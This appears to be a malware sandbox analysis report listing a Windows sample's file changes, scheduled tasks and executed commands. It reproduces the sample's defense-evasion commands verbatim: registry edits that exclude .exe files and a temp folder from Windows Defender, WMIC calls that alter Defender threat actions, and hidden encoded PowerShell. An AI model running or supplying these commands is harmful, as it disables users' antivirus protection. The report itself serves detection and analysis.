Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\gkmqmaizu
- %WINDIR%\tasks\bfslfotuplccxkwsze.job
- <SYSTEM32>\tasks\bfslfotuplccxkwsze
- <SYSTEM32>\tasks\gzzcobbol
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Extensions] 'exe' = '0'
- [<HKLM>\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions] 'exe' = '0'
Modifies file system
Creates the following files
- %TEMP%\7zs52d0.tmp\simplinst.exe
- %TEMP%\ybfzzrysnucljbuso\ajxeourvahtbozr\ygkmjcj.exe
Deletes the following files
- <SYSTEM32>\tasks\gkmqmaizu
- <SYSTEM32>\tasks\gzzcobbol
Substitutes the following files
- %HOMEPATH%\ntuser.pol
- %ALLUSERSPROFILE%\ntuser.pol
- %HOMEPATH%\tempntuser.pol
- %ALLUSERSPROFILE%\tempntuser.pol
Miscellaneous
Creates and executes the following
- '%TEMP%\7zs52d0.tmp\simplinst.exe' /S /site_id "619915"
- '%TEMP%\ybfzzrysnucljbuso\ajxeourvahtbozr\ygkmjcj.exe' wC /site_id 619915 /S
- '%WINDIR%\syswow64\cmd.exe' /C forfiles /p <SYSTEM32> /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefault...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==' (with hidden window)
- '<SYSTEM32>\gpupdate.exe' /force' (with hidden window)
- '%TEMP%\ybfzzrysnucljbuso\ajxeourvahtbozr\ygkmjcj.exe' wC /site_id 619915 /S' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C forfiles /p <SYSTEM32> /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaul...' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C forfiles /p <SYSTEM32> /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefault...
- '<SYSTEM32>\gpupdate.exe' /force
- '<SYSTEM32>\gpscript.exe' /RefreshSystemParam
- '<SYSTEM32>\raserver.exe' /offerraupdate
- '%WINDIR%\syswow64\cmd.exe' /C forfiles /p <SYSTEM32> /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaul...
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Acti...
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "gzZcOBBoL" /SC once /ST 00:56:45 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZ...
- '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "gzZcOBBoL"
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Acti...
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "gzZcOBBoL"
- '%WINDIR%\syswow64\cmd.exe' /C copy nul "%WINDIR%\Temp\BXgFqKguuwWcNgUX\yHyZJOSO\bLMgOOacITbtDNce.wsf"
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\BXgFqKguuwWcNgUX" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\BXgFqKguuwWcNgUX" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\BXgFqKguuwWcNgUX" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\BXgFqKguuwWcNgUX" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\BXgFqKguuwWcNgUX" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\BXgFqKguuwWcNgUX" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\BXgFqKguuwWcNgUX" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\BXgFqKguuwWcNgUX" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "bfSLFotUPLcCxKWSzE" /SC once /ST 03:50:00 /RU "SYSTEM" /TR "\"%TEMP%\YBfzZRysNUclJBusO\ajXeOuRvaHtbOZr\yGKmJcj.exe\" wC /site_id 619915 /S" /V1 /F
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_A...
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "gKMqMaizu"
- '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "gKMqMaizu"
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actio...
- '%WINDIR%\syswow64\cmd.exe' powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Mic...
- '%WINDIR%\syswow64\cmd.exe' REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extens...
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "gKMqMaizu" /SC once /ST 00:21:12 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZ...
- '<SYSTEM32>\taskeng.exe' {83A3D2BC-E624-4D24-B7F8-E242C93EB9AE} S-1-5-21-1960123792-2022915161-3775307078-1001:peuywwlv\user:Interactive:[1]
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
- '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Act...
- '%WINDIR%\syswow64\cmd.exe' powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
- '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Acti...
- '%WINDIR%\syswow64\cmd.exe' powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
- '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
- '%WINDIR%\syswow64\wscript.exe' "%WINDIR%\Temp\BXgFqKguuwWcNgUX\yHyZJOSO\bLMgOOacITbtDNce.wsf"
